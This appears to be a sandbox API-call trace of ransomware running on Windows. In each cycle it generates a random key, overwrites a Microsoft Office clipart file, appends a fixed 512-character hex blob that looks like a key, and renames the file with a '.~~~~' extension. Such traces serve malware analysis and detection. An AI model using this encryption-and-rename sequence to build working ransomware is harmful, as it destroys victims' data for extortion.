	[0119.912] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.913] CloseHandle (hObject=0x148) returned 1
	[0119.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.~~~~")) returned 1
	[0119.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.923] GetLastError () returned 0x0
	[0119.924] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0119.925] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.925] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0119.925] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23991519144) returned 1
	[0119.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb0f4cf90, dwHighDateTime=0x1d60e1e)) 
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9958
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9958 | out: hHeap=0x300000) returned 1
	[0119.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29435a8
	[0119.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29435a8 | out: hHeap=0x300000) returned 1
	[0119.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0119.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0119.926] GetLastError () returned 0x0
	[0119.926] GetLastError () returned 0x0
	[0119.926] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0119.926] GetLastError () returned 0x0
	[0119.926] GetLastError () returned 0x0
	[0120.098] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff604, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.098] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x9fc, lpOverlapped=0x0) returned 1
	[0120.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.105] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.105] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.105] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.105] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.106] CloseHandle (hObject=0x148) returned 1
	[0120.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.~~~~")) returned 1
	[0120.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.108] GetLastError () returned 0x0
	[0120.108] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.109] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.109] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24009922948) returned 1
	[0120.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1116010, dwHighDateTime=0x1d60e1e)) 
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9a38
	[0120.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9a38 | out: hHeap=0x300000) returned 1
	[0120.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4738
	[0120.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.110] GetLastError () returned 0x0
	[0120.110] GetLastError () returned 0x0
	[0120.110] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.110] GetLastError () returned 0x0
	[0120.110] GetLastError () returned 0x0
	[0120.142] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff9340, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.142] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x6cc0, lpOverlapped=0x0) returned 1
	[0120.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.143] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.143] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.143] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.143] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.144] CloseHandle (hObject=0x148) returned 1
	[0120.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.~~~~")) returned 1
	[0120.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.172] GetLastError () returned 0x0
	[0120.184] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.186] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.186] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.186] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24017614579) returned 1
	[0120.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb11d46f0, dwHighDateTime=0x1d60e1e)) 
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9b50
	[0120.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9b50 | out: hHeap=0x300000) returned 1
	[0120.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4a30
	[0120.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.187] GetLastError () returned 0x0
	[0120.187] GetLastError () returned 0x0
	[0120.187] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.188] GetLastError () returned 0x0
	[0120.188] GetLastError () returned 0x0
	[0120.216] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffcbd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.216] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x342e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x342e, lpOverlapped=0x0) returned 1
	[0120.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.218] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.218] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.218] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.218] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.218] CloseHandle (hObject=0x148) returned 1
	[0120.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.~~~~")) returned 1
	[0120.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.437] GetLastError () returned 0x0
	[0120.441] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.442] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.443] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24043284804) returned 1
	[0120.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1435cf0, dwHighDateTime=0x1d60e1e)) 
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9d48
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9d48 | out: hHeap=0x300000) returned 1
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4d28
	[0120.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.444] GetLastError () returned 0x0
	[0120.444] GetLastError () returned 0x0
	[0120.444] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.444] GetLastError () returned 0x0
	[0120.444] GetLastError () returned 0x0
	[0120.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.445] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1af, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1af, lpOverlapped=0x0) returned 1
	[0120.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.447] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.447] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.447] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.447] CloseHandle (hObject=0x130) returned 1
	[0120.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.~~~~")) returned 1
	[0120.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.449] GetLastError () returned 0x0
	[0120.449] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.450] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.451] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24044067716) returned 1
	[0120.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1435cf0, dwHighDateTime=0x1d60e1e)) 
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9d80
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9d80 | out: hHeap=0x300000) returned 1
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5280
	[0120.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.451] GetLastError () returned 0x0
	[0120.452] GetLastError () returned 0x0
	[0120.452] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.452] GetLastError () returned 0x0
	[0120.452] GetLastError () returned 0x0
	[0120.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.453] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1d3, lpOverlapped=0x0) returned 1
	[0120.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.454] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
